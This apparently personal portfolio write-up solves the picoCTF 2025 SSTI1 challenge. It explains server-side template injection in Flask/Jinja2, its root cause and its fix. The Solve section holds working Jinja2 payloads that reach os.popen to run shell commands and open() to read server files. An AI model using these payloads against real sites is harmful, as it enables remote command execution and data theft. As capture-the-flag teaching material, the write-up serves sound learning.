C:\Seyi\Portfolio\writeups\ssti_1_ Y:0000PX
...\writeups\ssti_1 Y:0000PX

< back to write-ups

CTF // EASY ssti_1.md

// SSTI1

Web Exploitation · Easy · picoCTF 2025

// Summary

A website repeats back any message typed into it. It builds each page from a : a pre-written page with blanks the fills in. The site placed the typed message into the template itself instead of into a blank, so the server treated the message as instructions to carry out. Typing a small sum confirmed it: the page answered 49 instead of repeating the text. The same opening was used to make the server list its own files and print the one named flag. Comparable to a mail-merge machine that, told to print a customer's name, obeys the name if the name is written as a command.

// Objective

Given: a web page that posts back ("announces") any message submitted.
Asked: the flag, format picoCTF{...}. Its location is not given.
Type: implied.

// Recon

Read the challenge description — It mentions templating.
Submit {{7*7}} — Page shows 49.
Submit the -la (Solve step 2) — Lists app.py, requirements.txt, flag.

// Deduction

  1. The description mentions templating and the input is reflected → the input may be rendered by a server-side template engine → test with a template expression.
  2. {{7*7}} returns 49, not the literal text → the server evaluates the input → confirmed. {{ }} syntax on a Python site → (Flask).
  3. The flag is not in the page → it is a file on the server → code execution is needed to read files.
  4. Jinja2 blocks direct access to dangerous functions → start from an object the template exposes (get_flashed_messages) and climb → __builtins__ → .
  5. The flag's filename is unknown → list the directory before reading anything.

// Solve

  1. Submit {{7*7}}
    Result: 49.
  2. Submit:
    {{ get_flashed_messages.__globals__.__builtins__.__import__('os').popen('ls -la').read() }}
    Result: a directory listing that includes flag.
  3. Submit:
    {{ get_flashed_messages.__globals__.__builtins__.open('flag').read() }}
    Result: the flag.

// Answer

Plain: the flag is the text inside a file stored on the website's own computer. The site was made to open that file and display it.
Technical: Jinja2 evaluates the submitted expression. Attribute traversal from get_flashed_messages.__globals__ reaches __builtins__, which exposes open(). open('flag').read() returns the contents of flag in the app's , and the template renders it into the response.

// Dead ends

Guessing the flag's filename in open() — open() reads only a file whose exact name is given. The name is found with ls, not guessed.

// Root cause

Flaw: user input is rendered as template code instead of being passed to the template as data.
CWE: CWE-1336, improper neutralization of special elements used in a template engine.
Fix: pass input as a template variable (render_template('page.html', msg=msg)), never concatenate it into the template string.
Real-world impact: any visitor can run commands on the server. That means reading stored data and passwords, changing the site, or taking over the machine.

// Transfer

  • Input reflected on a page + "template" anywhere in the challenge → submit {{7*7}}. 49 = SSTI.
  • Escalation chains are looked up, not derived: PayloadsAllTheThings → Server Side Template Injection → Python.md (Jinja2).

// Index

  1. 1TemplateA pre-written page with placeholders the server fills in for each visitor.
  2. 2ServerThe computer that runs the website and sends pages to visitors.
  3. 3lsThe command that lists the files in a folder.
  4. 4PayloadThe crafted input sent to trigger the flaw.
  5. 5SSTIServer-side template injection: getting the server to run text typed into a template as code.
  6. 6Jinja2 / FlaskJinja2 is a template engine for the Python language; Flask is a Python web framework that uses it.
  7. 7__globals__, __builtins__Python's built-in lists of everything a function can reach, including functions to open files and import modules.
  8. 8os, popenPython's module for talking to the operating system; popen runs a shell command and returns its output.
  9. 9Working directoryThe folder a program is running from.